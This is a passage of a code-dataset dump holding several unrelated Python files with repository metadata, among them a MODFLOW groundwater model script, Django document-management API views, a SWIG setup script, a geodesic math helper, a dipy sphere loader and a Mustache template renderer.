[1]\ntsmult = [1.0]\nsteady = [True]\n\n#Ibound and startinf heads\nibound = np.ones((nrow, ncol, nlay),'int')\nibound[:,0,:] = -1; ibound[:,-1,:] = -1\nstart = np.zeros((nrow, ncol, nlay))\nstart[:,0,:] = h1\nstart[:,-1,:] = h2\n\n#Well data\nwlist = [ [ nlay, (ncol - 1) / 2 + 1, (nrow - 1) / 2 + 1, 0.] ]\n\n#River data\nrivstg = np.linspace(h1, h2, num=ncol)\nrivcol = np.arange(ncol)\nrivrow = np.sin(rivcol / 10.) * nrow / 3. + int(nrow / 2.)\nrivlist = []\ncond = 10.\nrbot = 0.\nfor i in range(1, ncol-1):\n rivlist.append( [1, int(rivrow[i]), rivcol[i], rivstg[i], cond, rbot] )\nrivlist = [rivlist]\n\nname = 'mf'\nos.system('del '+name+'.*')\nml = modflow(modelname=name, version='mf2005', exe_name='mf2005.exe')\ndiscret = mfdis(ml,nrow=nrow,ncol=ncol,nlay=nlay,delr=delr,delc=delc,laycbd=0,\n top=top,botm=bot,nper=nper,perlen=perlen,nstp=nstp,\n tsmult=tsmult,steady=steady)\nbas = mfbas(ml,ibound=ibound,strt=start)\nlpf = mflpf(ml, hk=kh, vka=kv, ss=ss, sy=sy, laytyp=laytyp)\nwell = mfwel(ml, layer_row_column_Q=wlist)\nriv = mfriv(ml, layer_row_column_Q=rivlist, irivcb=53)\noc = mfoc(ml,ihedfm=2,item3=item3)\npcg = mfpcg(ml,hclose=hclose,rclose=rclose,mxiter=mxiter,iter1=iter1)\n\n#write input and run the model\nml.write_input()\nPopen(['mf2005.exe', name + '.nam']).communicate()[0]\n\n\ntimes, cbc, stringscbc = mfcbcread(ml, compiler='i').read_all(name + '.cbc')\ntimes, head, stringshds = mfhdsread(ml, compiler='i').read_all(name + '.hds')\n\ntry:\n plt.close()\nexcept:\n pass\nplt.figure()\nextent = (0, Lx, 0, Ly)\nplt.imshow(head[0][:, :, 0], interpolation='nearest', extent=extent)\nplt.title('Base Case Head')\nplt.xlabel('X')\nplt.ylabel('Y')\nplt.savefig('base.png')\n\nrivleak = cbc[0][3][:, :, 0]\nnetrivleakbase = rivleak.sum()\ntry:\n plt.close()\nexcept:\n pass\nplt.figure()\nplt.imshow(rivleak, interpolation='nearest', extent=extent)\nplt.colorbar()\nplt.title('Base Case River Leakage')\nplt.xlabel('X')\nplt.ylabel('Y')\nplt.savefig('baseleak.png')\n\ncf = np.zeros((nrow, ncol), dtype=float)\nfor i in xrange(nrow):\n for j in xrange(ncol):\n wlist = [ [ 1, i + 1, j + 1, Qwell] ]\n ml.remove_package('WEL')\n mfwel(ml, layer_row_column_Q=wlist)\n ml.write_input()\n Popen(['mf2005.exe', name + '.nam']).communicate()[0]\n print 'Model completed.'\n times, cbc, stringscbc = mfcbcread(ml, compiler='i').read_all(name + '.cbc')\n rivleak = cbc[0][3]\n netrivleak = rivleak.sum()\n cf[i, j] = (netrivleak - netrivleakbase) / netrivleakbase\n print i + 1, j + 1, netrivleak, netrivleakbase, cf[i, j]\n \ntry:\n plt.close()\nexcept:\n pass\nplt.figure()\nplt.imshow(cf, interpolation='nearest', extent=extent)\nplt.colorbar()\nplt.title('Capture Fraction')\nplt.xlabel('X')\nplt.ylabel('Y')\nplt.savefig('capture.png')\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2012,"string":"2,012"}}},{"rowIdx":647,"cells":{"__id__":{"kind":"number","value":18502719133660,"string":"18,502,719,133,660"},"blob_id":{"kind":"string","value":"da5642baeb049080e198faca48ac3519ae13d742"},"directory_id":{"kind":"string","value":"8364598f069503e5a5a9bd06c4d1ddbc16df30f6"},"path":{"kind":"string","value":"/pandora/document/views.py"},"content_id":{"kind":"string","value":"1a511d1bcb745f55995f04f5f65b7ceaf9662f48"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"wafaa-yousef88/pandora_image_archive_private"},"repo_url":{"kind":"string","value":"https://github.com/wafaa-yousef88/pandora_image_archive_private"},"snapshot_id":{"kind":"string","value":"66af2efa1e38cd7a5e0a9c5156728f0853c1a31c"},"revision_id":{"kind":"string","value":"369fe0843e5ba92bbd784f91ae33d1ac2c6bf678"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-25T09:59:31.497968","string":"2021-01-25T09:59:31.497968"},"revision_date":{"kind":"timestamp","value":"2014-01-22T13:15:25","string":"2014-01-22T13:15:25"},"committer_date":{"kind":"timestamp","value":"2014-01-22T13:15:25","string":"2014-01-22T13:15:25"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"# -*- coding: utf-8 -*-\n# vi:si:et:sw=4:sts=4:ts=4\nfrom __future__ import division\n\nfrom ox.utils import json\nfrom ox.django.api import actions\nfrom ox.django.decorators import login_required_json\nfrom ox.django.http import HttpFileResponse\nfrom ox.django.shortcuts import render_to_json_response, get_object_or_404_json, json_response\nfrom django import forms\n\nfrom item import utils\nfrom item.models import Item\nimport models\n\ndef get_document_or_404_json(id):\n return models.Document.get(id)\n\n@login_required_json\ndef addDocument(request):\n '''\n add document(s) to item\n takes {\n item: string\n id: string\n or\n ids: [string]\n }\n returns {\n }\n '''\n response = json_response()\n data = json.loads(request.POST['data'])\n if 'ids' in data:\n ids = data['ids']\n else:\n ids = [data['id']]\n item = Item.objects.get(itemId=data['item'])\n if item.editable(request.user):\n for id in ids:\n document = models.Document.get(id)\n document.add(item)\n else:\n response = json_response(status=403, text='permission denied')\n return render_to_json_response(response)\nactions.register(addDocument, cache=False)\n\n@login_required_json\ndef editDocument(request):\n '''\n takes {\n id: string\n name: string\n description: string\n item(optional): edit descriptoin per item\n }\n returns {\n id:\n ...\n }\n '''\n response = json_response()\n data = json.loads(request.POST['data'])\n item = 'item' in data and Item.objects.get(itemId=data['item']) or None\n if data['id']:\n document = models.Document.get(data['id'])\n if document.editable(request.user):\n document.edit(data, request.user, item=item)\n document.save()\n response['data'] = document.json(user=request.user, item=item)\n else:\n response = json_response(status=403, text='permission denied')\n else:\n response = json_response(status=500, text='invalid request')\n return render_to_json_response(response)\nactions.register(editDocument, cache=False)\n\n\ndef _order_query(qs, sort):\n order_by = []\n for e in sort:\n operator = e['operator']\n if operator != '-':\n operator = ''\n key = {\n 'name': 'name_sort',\n 'description': 'description_sort',\n }.get(e['key'], e['key'])\n if key == 'resolution':\n order_by.append('%swidth'%operator)\n order_by.append('%sheight'%operator)\n else:\n order = '%s%s' % (operator, key)\n order_by.append(order)\n if order_by:\n qs = qs.order_by(*order_by)\n qs = qs.distinct()\n return qs\n\ndef parse_query(data, user):\n query = {}\n query['range'] = [0, 100]\n query['sort'] = [{'key':'user', 'operator':'+'}, {'key':'name', 'operator':'+'}]\n for key in ('keys', 'group', 'file', 'range', 'position', 'positions', 'sort'):\n if key in data:\n query[key] = data[key]\n query['qs'] = models.Document.objects.find(data, user).exclude(name='')\n return query\n\n\ndef findDocuments(request):\n '''\n takes {\n query: {\n conditions: [\n {\n key: 'user',\n value: 'something',\n operator: '='\n }\n ]\n operator: \",\"\n },\n sort: [{key: 'name', operator: '+'}],\n range: [0, 100]\n keys: []\n }\n\n possible query keys:\n name, user, extension, size\n\n possible keys:\n name, user, extension, size\n\n }\n returns {\n items: [object]\n }\n '''\n data = json.loads(request.POST['data'])\n query = parse_query(data, request.user)\n\n #order\n qs = _order_query(query['qs'], query['sort'])\n response = json_response()\n if 'keys' in data:\n qs = qs[query['range'][0]:query['range'][1]]\n\n response['data']['items'] = [l.json(data['keys'], request.user) for l in qs]\n elif 'position' in data:\n #FIXME: actually implement position requests\n response['data']['position'] = 0\n elif 'positions' in data:\n ids = [i.get_id() for i in qs]\n response['data']['positions'] = utils.get_positions(ids, query['positions'])\n else:\n response['data']['items'] = qs.count()\n return render_to_json_response(response)\nactions.register(findDocuments)\n\n@login_required_json\ndef removeDocument(request):\n '''\n takes {\n id: string,\n or\n ids: [string]\n item: string\n }\n\n if item is passed, remove relation to item\n otherwise remove document\n returns {\n }\n '''\n data = json.loads(request.POST['data'])\n response = json_response()\n\n if 'ids' in data:\n ids = data['ids']\n else:\n ids = [data['id']]\n item = 'item' in data and Item.objects.get(itemId=data['item']) or None\n if item:\n if item.editable(request.user):\n for id in ids:\n document = models.Document.get(id)\n document.remove(item)\n else:\n response = json_response(status=403, text='not allowed')\n else:\n for id in ids:\n document = models.Document.get(id)\n if document.editable(request.user):\n document.delete()\n else:\n response = json_response(status=403, text='not allowed')\n break\n return render_to_json_response(response)\nactions.register(removeDocument, cache=False)\n\n@login_required_json\ndef sortDocuments(request):\n '''\n takes {\n item: string\n ids: [string]\n }\n returns {\n }\n '''\n data = json.loads(request.POST['data'])\n index = 0\n item = Item.objects.get(itemId=data['item'])\n ids = data['ids']\n if item.editable(request.user):\n for i in ids:\n document = models.Document.get(i)\n models.ItemProperties.objects.filter(item=item, document=document).update(index=index)\n index += 1\n response = json_response()\n else:\n response = json_response(status=403, text='permission denied')\n return render_to_json_response(response)\nactions.register(sortDocuments, cache=False)\n\ndef file(request, id, name=None):\n document = models.Document.get(id)\n return HttpFileResponse(document.file.path)\n\ndef thumbnail(request, id, size=256):\n size = int(size)\n document = models.Document.get(id)\n return HttpFileResponse(document.thumbnail(size))\n\nclass ChunkForm(forms.Form):\n chunk = forms.FileField()\n chunkId = forms.IntegerField(required=False)\n done = forms.IntegerField(required=False)\n\n@login_required_json\ndef upload(request):\n if 'id' in request.GET:\n file = models.Document.get(request.GET['id'])\n else:\n extension = request.POST['filename'].split('.')\n name = '.'.join(extension[:-1])\n extension = extension[-1].lower()\n response = json_response(status=400, text='this request requires POST')\n if 'chunk' in request.FILES:\n form = ChunkForm(request.POST, request.FILES)\n if form.is_valid() and file.editable(request.user):\n c = form.cleaned_data['chunk']\n chunk_id = form.cleaned_data['chunkId']\n response = {\n 'result': 1,\n 'id': file.get_id(),\n 'resultUrl': request.build_absolute_uri(file.get_absolute_url())\n }\n if not file.save_chunk(c, chunk_id, form.cleaned_data['done']):\n response['result'] = -1\n if form.cleaned_data['done']:\n response['done'] = 1\n return render_to_json_response(response)\n #init upload\n else:\n created = False\n num = 1\n _name = name\n while not created:\n file, created = models.Document.objects.get_or_create(\n user=request.user, name=name, extension=extension)\n if not created:\n num += 1\n name = _name + ' [%d]' % num\n file.name = name\n file.extension = extension\n file.uploading = True\n file.save()\n upload_url = request.build_absolute_uri('/api/upload/document?id=%s' % file.get_id())\n return render_to_json_response({\n 'uploadUrl': upload_url,\n 'url': request.build_absolute_uri(file.get_absolute_url()),\n 'result': 1\n })\n return render_to_json_response(response)\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":648,"cells":{"__id__":{"kind":"number","value":5282809797974,"string":"5,282,809,797,974"},"blob_id":{"kind":"string","value":"4946da96146c10c230a81e8fc55dc18d6aa70c41"},"directory_id":{"kind":"string","value":"aafded28723bd24edbe69789fe58f1788117eaef"},"path":{"kind":"string","value":"/setup.py"},"content_id":{"kind":"string","value":"4e73566fe92163e1e7afbeb3b1a17f8efa36ea34"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"amitdo/pytess"},"repo_url":{"kind":"string","value":"https://github.com/amitdo/pytess"},"snapshot_id":{"kind":"string","value":"3298fc256ed455dda95a842014938e733b37244f"},"revision_id":{"kind":"string","value":"e56a368195ab97730831c8762a2d864bef49f2b3"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-08-12T05:42:10.131476","string":"2016-08-12T05:42:10.131476"},"revision_date":{"kind":"timestamp","value":"2012-11-20T14:00:56","string":"2012-11-20T14:00:56"},"committer_date":{"kind":"timestamp","value":"2012-11-20T14:00:56","string":"2012-11-20T14:00:56"},"github_id":{"kind":"number","value":44490980,"string":"44,490,980"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/env python\n\nimport os\nfrom distutils.core import setup, Extension\n\n# remove warning flags; they generate excessive warnings with swig\nfrom distutils.sysconfig import get_config_vars\n(opt,) = get_config_vars('OPT')\nopts = [x for x in opt.split() if \"-W\" not in x]\nos.environ[\"OPT\"] = \" \".join(opts)\n\ninclude_dirs = ['/usr/local/include',\"/usr/include/tesseract\"]\nswig_opts = [\"-c++\"] + [\"-I\" + d for d in include_dirs]\nswiglib = os.popen(\"swig -swiglib\").read()[:-1]\n\nsources = []\n\ntess = Extension('_tess',\n swig_opts = swig_opts,\n include_dirs = include_dirs,\n libraries = [\"tesseract\"],\n sources=['tess.i']+sources)\n\nsetup (name = 'tess',\n version = '0.0',\n author = \"tmb\",\n description = \"Tesseract API bindings\",\n ext_modules = [tess],\n py_modules = [\"tess\"],\n scripts = [\"tess-lines\"],\n )\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2012,"string":"2,012"}}},{"rowIdx":649,"cells":{"__id__":{"kind":"number","value":4715874114655,"string":"4,715,874,114,655"},"blob_id":{"kind":"string","value":"f63f2f1b0bec09183ba8e274a14708481e5fac5c"},"directory_id":{"kind":"string","value":"0e3ff3adb34a06d30af4f6b0ffe8cd311b114a83"},"path":{"kind":"string","value":"/turbogears/HelloWorld/helloworld/websetup/bootstrap.py"},"content_id":{"kind":"string","value":"3296369bedfb6ec1bead08dabaa238e2ba62ca0c"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"hlship/the-great-web-framework-shootout"},"repo_url":{"kind":"string","value":"https://github.com/hlship/the-great-web-framework-shootout"},"snapshot_id":{"kind":"string","value":"659f6d8c4b30b23e17280b343ea81e06357229a2"},"revision_id":{"kind":"string","value":"4f31099855ad97ff94c8d816397ded09ec83bfcd"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-18T10:29:56.104165","string":"2021-01-18T10:29:56.104165"},"revision_date":{"kind":"timestamp","value":"2012-02-28T00:26:24","string":"2012-02-28T00:26:24"},"committer_date":{"kind":"timestamp","value":"2012-02-28T00:26:44","string":"2012-02-28T00:26:44"},"github_id":{"kind":"number","value":3564757,"string":"3,564,757"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"# -*- coding: utf-8 -*-\n\"\"\"Setup the HelloWorld application\"\"\"\n\nimport logging\nfrom tg import config\nfrom helloworld import model\n\nimport transaction\n\n\ndef bootstrap(command, conf, vars):\n \"\"\"Place any commands to setup helloworld here\"\"\"\n\n # \n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2012,"string":"2,012"}}},{"rowIdx":650,"cells":{"__id__":{"kind":"number","value":13546326853223,"string":"13,546,326,853,223"},"blob_id":{"kind":"string","value":"fff57532cdabf1389ee136d86cef5636a5958579"},"directory_id":{"kind":"string","value":"0d4539af73740811a3c29df042790ad0aab09aeb"},"path":{"kind":"string","value":"/buildout/eggs/pyproj-1.9.2-py2.7-linux-x86_64.egg/pyproj/geomath.py"},"content_id":{"kind":"string","value":"c6f968bda3a0be8eb3165b58d808d20b99f740f9"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"bopopescu/tilecloud-chain-cache"},"repo_url":{"kind":"string","value":"https://github.com/bopopescu/tilecloud-chain-cache"},"snapshot_id":{"kind":"string","value":"e092c696b28c8419ef226404160fcf526ba63f74"},"revision_id":{"kind":"string","value":"20915b3ce7a55bec25505533ba10ed40da512fde"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2022-11-29T11:11:16.681736","string":"2022-11-29T11:11:16.681736"},"revision_date":{"kind":"timestamp","value":"2014-03-15T12:58:21","string":"2014-03-15T12:58:21"},"committer_date":{"kind":"timestamp","value":"2014-03-15T13:02:28","string":"2014-03-15T13:02:28"},"github_id":{"kind":"number","value":282521483,"string":"282,521,483"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"bool","value":true,"string":"true"},"gha_event_created_at":{"kind":"timestamp","value":"2020-07-25T20:40:15","string":"2020-07-25T20:40:15"},"gha_created_at":{"kind":"timestamp","value":"2020-07-25T20:40:15","string":"2020-07-25T20:40:15"},"gha_updated_at":{"kind":"timestamp","value":"2014-04-19T06:16:06","string":"2014-04-19T06:16:06"},"gha_pushed_at":{"kind":"timestamp","value":"2014-03-15T13:13:28","string":"2014-03-15T13:13:28"},"gha_size":{"kind":"number","value":18260,"string":"18,260"},"gha_stargazers_count":{"kind":"number","value":0,"string":"0"},"gha_forks_count":{"kind":"number","value":0,"string":"0"},"gha_open_issues_count":{"kind":"number","value":0,"string":"0"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"bool","value":false,"string":"false"},"gha_disabled":{"kind":"bool","value":false,"string":"false"},"content":{"kind":"string","value":"# geomath.py\n#\n# This is a rather literal translation of the GeographicLib::Math class\n# to python. See the documentation for the C++ class for more\n# information at\n#\n# http://sourceforge.net/html/annotated.html\n#\n# Copyright (c) Charles Karney (2011) and licensed\n# under the MIT/X11 License. For more information, see\n# http://sourceforge.net/\n#\n# $Id: 9c5444e65f8541f8528ef2a504465e5565987c15 $\n######################################################################\n\nimport sys\nimport math\n\nclass Math(object):\n \"\"\"\n Additional math routines for GeographicLib.\n\n This defines constants:\n epsilon, difference between 1 and the next bigger number\n minval, minimum positive number\n maxval, maximum finite number\n degree, the number of radians in a degree\n nan, not a number\n int, infinity\n \"\"\"\n \n epsilon = math.pow(2.0, -52)\n minval = math.pow(2.0, -1022)\n maxval = math.pow(2.0, 1023) * (2 - epsilon)\n degree = math.pi/180\n try: # Python 2.6+\n nan = float(\"nan\")\n inf = float(\"inf\")\n except ValueError:\n nan = float(1e400 * 0)\n inf = float(1e400)\n\n def sq(x):\n \"\"\"Square a number\"\"\"\n\n return x * x\n sq = staticmethod(sq)\n\n def cbrt(x):\n \"\"\"Real cube root of a number\"\"\"\n\n y = math.pow(abs(x), 1/3.0)\n return cmp(x, 0) * y\n cbrt = staticmethod(cbrt)\n\n def log1p(x):\n \"\"\"log(1 + x) accurate for small x (missing from python 2.5.2)\"\"\"\n\n if sys.version_info > (2, 6):\n return math.log1p(x)\n\n y = 1 + x\n z = y - 1\n # Here's the explanation for this magic: y = 1 + z, exactly, and z\n # approx x, thus log(y)/z (which is nearly constant near z = 0) returns\n # a good approximation to the true log(1 + x)/x. The multiplication x *\n # (log(y)/z) introduces little additional error.\n if z == 0:\n return x\n else:\n return x * math.log(y) / z\n log1p = staticmethod(log1p)\n\n def atanh(x):\n \"\"\"atanh(x) (missing from python 2.5.2)\"\"\"\n\n if sys.version_info > (2, 6):\n return math.atanh(x)\n\n y = abs(x) # Enforce odd parity\n y = Math.log1p(2 * y/(1 - y))/2\n return cmp(x, 0) * y\n atanh = staticmethod(atanh)\n\n def isfinite(x):\n \"\"\"Test for finiteness\"\"\"\n\n return abs(x) <= Math.maxval\n isfinite = staticmethod(isfinite)\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":651,"cells":{"__id__":{"kind":"number","value":11682311053275,"string":"11,682,311,053,275"},"blob_id":{"kind":"string","value":"fa38d6ea85819c6b6faaedc4a78771b6f4181f0d"},"directory_id":{"kind":"string","value":"d2fe7ed6eb7fd0e7740346306eea28e959db763b"},"path":{"kind":"string","value":"/scratch/very_scratch/get_vertices.py"},"content_id":{"kind":"string","value":"8cd717ec92ffffd915b1093d568c2a16ef56bbf6"},"detected_licenses":{"kind":"list like","value":["BSD-3-Clause"],"string":"[\n \"BSD-3-Clause\"\n]"},"license_type":{"kind":"string","value":"permissive"},"repo_name":{"kind":"string","value":"cournape/dipy"},"repo_url":{"kind":"string","value":"https://github.com/cournape/dipy"},"snapshot_id":{"kind":"string","value":"9d58b124fb96f2ccf5799e5a07878acd0d7db3a4"},"revision_id":{"kind":"string","value":"19b693d832bba0e9010b42f326775f88ba83cc78"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-15T20:18:00.417781","string":"2021-01-15T20:18:00.417781"},"revision_date":{"kind":"timestamp","value":"2011-02-19T23:13:45","string":"2011-02-19T23:13:45"},"committer_date":{"kind":"timestamp","value":"2011-02-19T23:13:45","string":"2011-02-19T23:13:45"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"sphere_dic = {'fy362': {'filepath' : '/home/ian/Devel/dipy/dipy/core/matrices/evenly_distributed_sphere_362.npz', 'object': 'npz', 'vertices': 'vertices', 'omit': 0, 'hemi': False},\n 'fy642': {'filepath' : '/home/ian/Devel/dipy/dipy/core/matrices/evenly_distributed_sphere_642.npz', 'object': 'npz', 'vertices': 'odf_vertices', 'omit': 0, 'hemi': False},\n 'siem64': {'filepath':'/home/ian/Devel/dipy/dipy/core/tests/data/small_64D.gradients.npy', 'object': 'npy', 'omit': 1, 'hemi': True},\n 'create2': {},\n 'create3': {},\n 'create4': {},\n 'create5': {},\n 'create6': {},\n 'create7': {},\n 'create8': {},\n 'create9': {},\n 'marta200': {'filepath': '/home/ian/Data/Spheres/200.npy', 'object': 'npy', 'omit': 0, 'hemi': True},\n 'dsi102': {'filepath': '/home/ian/Data/Frank_Eleftherios/frank/20100511_m030y_cbu100624/08_ep2d_advdiff_101dir_DSI', 'object': 'dicom', 'omit': 1, 'hemi': True}}\n\nimport numpy as np\nfrom dipy.core.triangle_subdivide import create_unit_sphere\nfrom dipy.io import dicomreaders as dcm\n\ndef get_vertex_set(key):\n\n if key[:6] == 'create':\n number = eval(key[6:])\n vertices, edges, faces = create_unit_sphere(number) \n omit = 0\n else:\n entry = sphere_dic[key]\n\n if entry.has_key('omit'):\n omit = entry['omit']\n else:\n omit = 0\n filepath = entry['filepath']\n if entry['object'] == 'npz':\n filearray = np.load(filepath)\n vertices = filearray[entry['vertices']]\n elif sphere_dic[key]['object'] == 'npy':\n vertices = np.load(filepath)\n elif entry['object'] == 'dicom':\n data,affine,bvals,gradients=dcm.read_mosaic_dir(filepath)\n #print (bvals.shape, gradients.shape)\n grad3 = np.vstack((bvals,bvals,bvals)).transpose()\n #print grad3.shape\n #vertices = grad3*gradients\n vertices = gradients\n if omit > 0:\n vertices = vertices[omit:,:]\n if entry['hemi']:\n vertices = np.vstack([vertices, -vertices])\n\n return vertices[omit:,:]\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2011,"string":"2,011"}}},{"rowIdx":652,"cells":{"__id__":{"kind":"number","value":11398843205601,"string":"11,398,843,205,601"},"blob_id":{"kind":"string","value":"48f43346f0c3141fd164f03fc20d55f4cb8d5b19"},"directory_id":{"kind":"string","value":"9a0a863d214a67ba376539d193e5c6bb86d8eea6"},"path":{"kind":"string","value":"/MustacheGen.py"},"content_id":{"kind":"string","value":"1a2c0ebebcb045349ff85a9e104755d4379f5e5d"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"MOON-CLJ/MustacheGen"},"repo_url":{"kind":"string","value":"https://github.com/MOON-CLJ/MustacheGen"},"snapshot_id":{"kind":"string","value":"8698d061d63bd2c8fe55578fbc6a81fb58200abd"},"revision_id":{"kind":"string","value":"11d311913cf1e912b1c98257e11acafb1e5b0ded"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2017-10-16T09:14:11.298670","string":"2017-10-16T09:14:11.298670"},"revision_date":{"kind":"timestamp","value":"2012-12-21T17:04:34","string":"2012-12-21T17:04:34"},"committer_date":{"kind":"timestamp","value":"2012-12-21T17:04:34","string":"2012-12-21T17:04:34"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import pystache\nimport json \nfrom optparse import OptionParser\n\nparser = OptionParser()\nparser.add_option(\"-c\", \"--config\", dest=\"configFile\",\n help=\"load the config from the FILE\", metavar=\"FILE\")\n \nparser.add_option(\"-t\", \"--template\", dest=\"templateFile\",\n help=\"load the template from the FILE\", metavar=\"FILE\")\n \nparser.add_option(\"-q\", \"--quiet\",\n action=\"store_false\", dest=\"verbose\", default=True,\n help=\"don't print status messages to stdout\")\n\n(options, args) = parser.parse_args()\n\n\njson_file = open(options.configFile)\ndata = json.load(json_file)\njson_file.close()\n\n\ntemplate_file = open(options.templateFile)\ntemplate = template_file.read()\n\nprint pystache.render(template, data)\n\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2012,"string":"2,012"}}},{"rowIdx":653,"cells":{"__id__":{"kind":"number","value":5231270210386,"string":"5,231,270,210,386"},"blob_id":{"kind":"string","value":"1abbbbb8826b8be8ddb909ed37130546badc8989"},"directory_id":{"kind":"string","value":"82391c61f412ee4faa240e616db734b501521c94"},"path":{"kind":"string","value":"/src/python/CPU_Tests.py"},"content_id":{"kind":"string","value":"9c317b80aa46085acc2b6e09182748902a1ba3b7"},"detected_licenses":{"kind":"list 